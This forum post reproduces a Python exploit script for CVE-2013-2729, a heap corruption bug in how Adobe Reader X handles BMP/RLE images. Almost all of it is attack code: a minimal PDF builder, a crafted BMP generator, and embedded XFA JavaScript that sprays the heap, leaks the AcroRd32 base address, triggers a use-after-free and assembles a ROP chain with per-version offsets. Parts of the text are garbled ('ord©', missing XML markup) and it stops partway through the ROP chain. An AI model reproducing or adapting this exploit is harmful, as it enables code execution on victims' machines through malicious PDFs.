Adobe Reader X BMP/RLE heap corruption

Nytro · July 20, 2013

Adobe Reader X BMP/RLE heap corruptionCVE-2013-2729 / XFABMPExploit.py

'''

Title: Adobe Reader X BMP/RLE heap corruption

Product: Adobe Reader X

Version: 10.x

Product Homepage: adobe.com

Binary affected: AcroForm.api

Binary Version: 10.1.4.38

Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841

Configuration Requirements

-----------------------------------------

Default configuration.

Vulnerability Requirements

-----------------------------------------

None.

Vulnerability Description

-----------------------------------------

Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow.

Vulnerability WorkAround (if possible)

-----------------------------------------

Delete AcroForm.api

'''

from hashlib import md5

import sys, struct

######### Begin of the miniPDF

import zlib

#For constructing a minimal pdf file

## PDF REference 3rd edition:: 3.2 Objects

class PDFObject:

def __init__(self):

self.n=None

self.v=None

def __str__(self):

raise Exception("Fail")

## PDF REference 3rd edition:: 3.2.1 Booleans Objects

class PDFBool(PDFObject):

def __init__(self,s):

PDFObject.__init__(self)

self.s=s

def __str__(self):

if self.s:

return "true"

return "false"

## PDF REference 3rd edition:: 3.2.2 Numeric Objects

class PDFNum(PDFObject):

def __init__(self,s):

PDFObject.__init__(self)

self.s=s

def __str__(self):

return "%s"%self.s

## PDF REference 3rd edition:: 3.2.3 String Objects

class PDFString(PDFObject):

def __init__(self,s):

PDFObject.__init__(self)

self.s=s

def __str__(self):

return "(%s)"%self.s

## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings

class PDFHexString(PDFObject):

def __init__(self,s):

PDFObject.__init__(self)

self.s=s

def __str__(self):

return "<" + "".join(["%02x"%ord© for c in self.s]) + ">"

## A convenient type of literal Strings

class PDFOctalString(PDFObject):

def __init__(self,s):

PDFObject.__init__(self)

self.s="".join(["\\%03o"%ord© for c in s])

def __str__(self):

return "(%s)"%self.s

## PDF REference 3rd edition:: 3.2.4 Name Objects

class PDFName(PDFObject):

def __init__(self,s):

PDFObject.__init__(self)

self.s=s

def __str__(self):

return "/%s"%self.s

## PDF REference 3rd edition:: 3.2.5 Array Objects

class PDFArray(PDFObject):

def __init__(self,s):

PDFObject.__init__(self)

assert type(s) == type([])

self.s=s

def append(self,o):

self.s.append(o)

return self

def __str__(self):

return "[%s]"%(" ".join([ o.__str__() for o in self.s]))

## PDF REference 3rd edition:: 3.2.6 Dictionary Objects

class PDFDict(PDFObject):

def __init__(self, d={}):

PDFObject.__init__(self)

self.dict = {}

for k in d:

self.dict[k]=d[k]

def __iter__(self):

for k in self.dict.keys():

yield k

def __iterkeys__(self):

for k in self.dict.keys():

yield k

def __getitem__(self, key):

return self.dict[key]

def add(self,name,obj):

self.dict[name] = obj

def get(self,name):

if name in self.dict.keys():

return self.dict[name]

else:

return None

def __str__(self):

s="<<"

for name in self.dict:

s+="%s %s "%(PDFName(name),self.dict[name])

s+=">>"

return s

## PDF REference 3rd edition:: 3.2.7 Stream Objects

class PDFStream(PDFDict):

def __init__(self,d={},stream=""):

PDFDict.__init__(self,d)

self.stream=stream

self.filtered=self.stream

self.add('Length', len(stream))

self.filters = []

def appendFilter(self, filter):

self.filters.append(filter)

self._applyFilters() #yeah every time .. so what!

def _applyFilters(self):

self.filtered = self.stream

for f in self.filters:

self.filtered = f.encode(self.filtered)

if len(self.filters)>0:

self.add('Length', len(self.filtered))

self.add('Filter', PDFArray([f.name for f in self.filters]))

#Add Filter parameters ?

def __str__(self):

self._applyFilters() #yeah every time .. so what!

s=""

s+=PDFDict.__str__(self)

s+="\nstream\n"

s+=self.filtered

s+="\nendstream"

return s

## PDF REference 3rd edition:: 3.2.8 Null Object

class PDFNull(PDFObject):

def __init__(self):

PDFObject.__init__(self)

def __str__(self):

return "null"

## PDF REference 3rd edition:: 3.2.9 Indirect Objects

class UnResolved(PDFObject):

def __init__(self,n,v):

PDFObject.__init__(self)

self.n=n

self.v=v

def __str__(self):

return "UNRESOLVED(%d %d)"%(self.n,self.v)

class PDFRef(PDFObject):

def __init__(self,obj):

PDFObject.__init__(self)

self.obj=[obj]

def __str__(self):

if len(self.obj)==0:

return "null"

return "%d %d R"%(self.obj[0].n,self.obj[0].v)

## PDF REference 3rd edition:: 3.3 Filters

## Example Filter...

class FlateDecode:

name = PDFName('FlateDecode')

def __init__(self):

pass

def encode(self,stream):

return zlib.compress(stream)

def decode(self,stream):

return zlib.decompress(stream)

## PDF REference 3rd edition:: 3.4 File Structure

## Simplest file structure...

class PDFDoc():

def __init__(self,obfuscate=0):

self.objs=[]

self.info=None

self.root=None

def setRoot(self,root):

self.root=root

def setInfo(self,info):

self.info=info

def _add(self,obj):

if obj.v!=None or obj.n!=None:

raise Exception("Already added!!!")

obj.v=0

obj.n=1+len(self.objs)

self.objs.append(obj)

def add(self,obj):

if type(obj) != type([]):

self._add(obj);

else:

for o in obj:

self._add(o)

def _header(self):

return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n"

def __str__(self):

doc1 = self._header()

xref = {}

for obj in self.objs:

xref[obj.n] = len(doc1)

doc1+="%d %d obj\n"%(obj.n,obj.v)

doc1+=obj.__str__()

doc1+="\nendobj\n"

posxref=len(doc1)

doc1+="xref\n"

doc1+="0 %d\n"%(len(self.objs)+1)

doc1+="0000000000 65535 f \n"

for xr in xref.keys():

doc1+= "%010d %05d n \n"%(xref[xr],0)

doc1+="trailer\n"

trailer = PDFDict()

trailer.add("Size",len(self.objs)+1)

if self.root == None:

raise Exception("Root not set!")

trailer.add("Root",PDFRef(self.root))

if self.info:

trailer.add("Info",PDFRef(self.info))

doc1+=trailer.__str__()

doc1+="\nstartxref\n%d\n"%posxref

doc1+="%%EOF"

return doc1

######### End of miniPDF

SLIDESIZE=0x12C

def mkBMP(payload, exception=True):

bmp = ''

#getInfoHeader

bfType = 0x4d42

assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp

bmp += struct.pack('<H', bfType)

bfSize = 0

bfOffBits = 0

bmp += struct.pack('<L', bfSize)

bmp += struct.pack('<H', 0) #Reserved1

bmp += struct.pack('<H', 0) #Reserved2

bmp += struct.pack('<L', bfOffBits)

biSize = 0x40

assert not biSize in [0x12]

bmp += struct.pack('<L', biSize)

biHeight = 1

biWidth = SLIDESIZE #size of texture structure LFH enabled

biPlanes = 1

biBitCount = 8

biCompression = 1

biSizeImage = 0

biXPelsPerMeter = 0

biYPelsPerMeter = 0

biClrUsed = 2

if biClrUsed >0xff:

raise "BUG!!!!"

biClrImportant = 0

bmp += struct.pack('<L', biWidth)

bmp += struct.pack('<L', biHeight)

bmp += struct.pack('<H', biPlanes)

bmp += struct.pack('<H', biBitCount)

bmp += struct.pack('<L', biCompression)

bmp += struct.pack('<L', biSizeImage)

bmp += struct.pack('<L', biXPelsPerMeter)

bmp += struct.pack('<L', biYPelsPerMeter)

bmp += struct.pack('<L', biClrUsed)

bmp += struct.pack('<L', biClrImportant)

bmp += 'A'*(biSize-0x40) #pad

numColors=biClrUsed

if biClrUsed == 0 or biBitCount < 8:

numColors = 1<<biBitCount;

bmp += 'RGBA'*(numColors) #pallete

bmp += '\x00\x02\xff\x00' * ((0xffffffff-0xff) / 0xff)

#while (len(bmp)+10)%0x400 != 0:

# bmp += '\x00\x02\x00\x00'

assert len(payload) < 0x100 and len(payload) >= 3

bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00'

bmp += '\x00'+chr(len(payload))+payload

if len(payload)&1 :

bmp += 'P'

if exception:

bmp += '\x00\x02\x00\xff'*10 #getting the pointer outside the texture so it triggers an exception

bmp += '\x00'+chr(10)+'X'*10

else:

bmp += '\x00\x01'

#'\x04X'*(biWidth+2000)+"\x00\x02"

return bmp

def UEncode(s):

r = ''

s += '\x00'*(len(s)%2)

for i in range(0,len(s),2):

r+= '\\u%04x'%(struct.unpack('<H', (s[i:i+2]))[0])

return r

r = ''

for c in s:

r+= '%%%02x'%ord©

return r

def mkXFAPDF(shellcode = '\x90'*0x400+'\xcc'):

xdp = '''

<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2012-11-23T13:41:54Z" uuid="0aa46f9b-2c50-42d4-ab0b-1a1015321da7">

<?formServer defaultPDFRenderFormat acrobat9.1static?>

<?formServer allowRenderCaching 0?>

<?formServer formModel both?>

<?templateDesigner expand 1?>

</pageArea>

<?templateDesigner expand 1?>

</pageSet>

// Convenience functions to pack and unpack litle endian an utf-16 strings

function pack(i){

var low = (i & 0xffff);

var high = ((i>>16) & 0xffff);

return String.fromCharCode(low)+String.fromCharCode(high);

}

function unpackAt(s, pos){

return s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16);

}

function packs(s){

result = "";

for (i=0;i<s.length;i+=2)

result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8));

return result;

}

function packh(s){

return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16));

}

function packhs(s){

result = "";

for (i=0;i<s.length;i+=4)

result += packh(s.slice(i,i+4));

return result;

}

var verbose = 1;

function message(x){

if (util.verbose == 1 )

xfa.host.messageBox(x);

}

//ROP0

//7201E63D XCHG EAX,ESP

//7201E63E RETN

//ROP1

//7200100A JMP DWORD PTR DS:[KERNEL32.GetModuleHandle]

//ROP2

//7238EF5C PUSH EAX

//7238EF5D CALL DWORD PTR DS:[KERNEL32.GetProcAddress]

//7238EF63 TEST EAX,EAX

//7238EF65 JNE SHORT 7238EF84

//7238EF84 POP EBP

//7238EF85 RETN 4

//ROP3

//72001186 JMP EAX ; kernel32.VirtualProtect

//ROP4

//72242491 ADD ESP,70

//72242494 RETN

var _offsets = {'Reader": { "10.104": {

"acrord32": 0xA4,

"rop0": 0x1E63D,

"rop1": 0x100A,

"rop2": 0x38EF5C,

"rop3": 0x1186,

"rop4": 0x242491,

},

"10.105": { // Added by Eddie Mitchell

"acrord32": 0xA5,

"rop0": 0x1E52D,

"rop1": 0x100A,

"rop2": 0x393526,

"rop3": 0x1186,

"rop4": 0x245E71,

},

"10.106": { // Added by Eddie Mitchell

"acrord32": 0xA5,

"rop0": 0x1E52D,

"rop1": 0x100A,

"rop2": 0x393526,

"rop3": 0x1186,

"rop4": 0x245E71,

},

"Exchange-Pro": {

"10.105": { // Added by Eddie Mitchell

"acrobat": 0xCD,

"rop0": 0x3720D,

"rop1": 0x100A,

"rop2": 0x3DCC91,

"rop3": 0x180F,

"rop4": 0x25F2A1,

},

};

function offset(x){

//app.viewerType will be "Reader" for Reader,

//"Exchange" for Acrobat Standard or "Exchange-Pro" for Acrobat Pro

try {

return _offsets[app.viewerType][app.viewerVersion][x];

}

catch (e) {

xfa.host.messageBox("Type:" +app.viewerType+ " Version: "+app.viewerVersion+" NOT SUPPORTED!");

}

return 0x41414141;

}

</script>

// Global variable for spraying

var slide_size=%%SLIDESIZE%%;

var size = 200;

var chunkx = "%%MINICHUNKX%%";

var x = new Array(size);

var y = new Array(size);

var z = new Array(size);

var pointers = new Array(100);

var done = 0;

</script>

<?templateDesigner expand 1?>

</variables>

<value>

<image aspect="actual" contentType="image/jpeg">%%BMPFREELFH%%</image>

</value>

</field>

</subform>

// This script runs at the very beginning and

// is used to prepare the memory layout

util.message("Initialize");

var i; var j;

if (spray.done == 0){

//Trigger LFH use

var TOKEN = "\u5858\u5858\u5678\u1234";

var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2);

for (i=0; i < spray.size; i+=1)

spray.x = TOKEN + util.pack(i) +

spray.chunkx.substring(0, chunk_len) +

util.pack(i) + "";

util.message("Initial spray done!");

for (j=0; j < size; j++)

for (i=spray.size-1; i > spray.size/4; i-=10)

spray.x=null;

spray.done = 1;

util.message("Generating holes done!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");

}

// After this the form layout is rendered and the bug triggered

</script>

</event>

<event activity="docReady" ref="$host" name="event__docReady">

<script contentType="application/x-javascript">

// This script runs once the page is ready

util.message("DocReady");

var i; var j;

var found = -1; // Index of the overlapped string

var acro = 0; // Base of the AcroRd32_dll

// Search over all strings for the first one with the broken TOKEN

for (i=0; i < spray.size; i+=1)

if ((spray.x!=null) && (spray.x[0] != "\u5858")){

found = i;

acro = (( util.unpackAt(spray.x, 14) >> 16) - util.offset("acrord32")) << 16;

util.message("Found! String number "+ found + " has been corrupted acrord32.dll:" + acro.toString(16) );

break;

}

// Behaviour is mostly undefined if not found

if (found == -1){

util.message("Corrupted String NOT Found!");

event.target.closeDoc(true);

}

// Corrupted string was found let's generates the new

// string for overlapping the struct before freeing it

var chunky = "";

for (i=0; i < 7; i+=1)

chunky += util.pack(0x41414141);

chunky += util.pack(0x10101000);

while (chunky.length < spray.slide_size/2)

chunky += util.pack(0x58585858);

// Free the overlapping string

util.message("Feeing corrupted string! Previous string will we used-free ("+(found)+")");

for (j=0; j < 100000; j++)

spray.x[found-1]=spray.x[found]=null;

// Trigger several allocs that will fall over the structure

for (i=0; i < 200; i+=1){

ID = "" + i;

spray.y = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ "";

}

util.message("Allocated 20 chunks-y\\n");

// Heap spraying make's baby jesus cry!

// Construct the 0x1000 small chunk for spraying

var obj = 0x10101000;

var pointer_slide = "";

pointer_slide += util.pack(acro+util.offset("rop4")); //add esp,70;ret

for (i=0; i < 27; i+=1)

pointer_slide += util.pack(0x41414141);

obj += pointer_slide.length*2;

// ROP

pointer_slide += util.pack(acro+util.offset("rop0")); //XCHG EAX,ESP;ret

pointer_slide += util.pack(acro+util.offset("rop1")); //0x100A jmp getmodule

pointer_slide += util.pack(acro+util.offset("rop2")); //@0x04 - getProcAddress

pointer_slide += util.pack(obj+0xDC); //@0x08 point to KERNEL32

//@0x10

pointer_slide += util.pack(obj+0xCC);

pointer_slide += util.pack(0x43434343); // POPPED TO EBP

pointer_slide += util.pack(acro+util.offset("rop3")); // JMP EAX

pointer_slide += util.pack(obj); //Points to offset 0 of this

//@0x20

pointer_slide += util.pack(obj+0x38);

pointer_slide += util.pack(0x1000); //SIZE_T dwSize,

pointer_slide += util.pack(0x40); // DWORD flNewProtect,

//0x30

pointer_slide += util.pack(obj+0x34); //PDWORD lpflOldProtect

pointer_slide += util.pack(0x00000000); //DWORD OldProtect

pointer_slide += util.packhs("E9B1000000909090");

//0x40

pointer_slide += util.pack(acro); //Used by next stage

pointer_slide += util.pack(0xCCCCCCCC);

//0x50

pointer_slide += util.pack(0xCCCCCCCC);

//0x60

pointer_slide += util.pack(0xCCCCCCCC);

//0x70

pointer_slide += util.pack(acro);

pointer_slide += util.pack(0x48484848);

pointer_slide += util.pack(0x49494949);

//0x80

pointer_slide += util.pack(0x49494949);

pointer_slide += util.pack(0x50505050);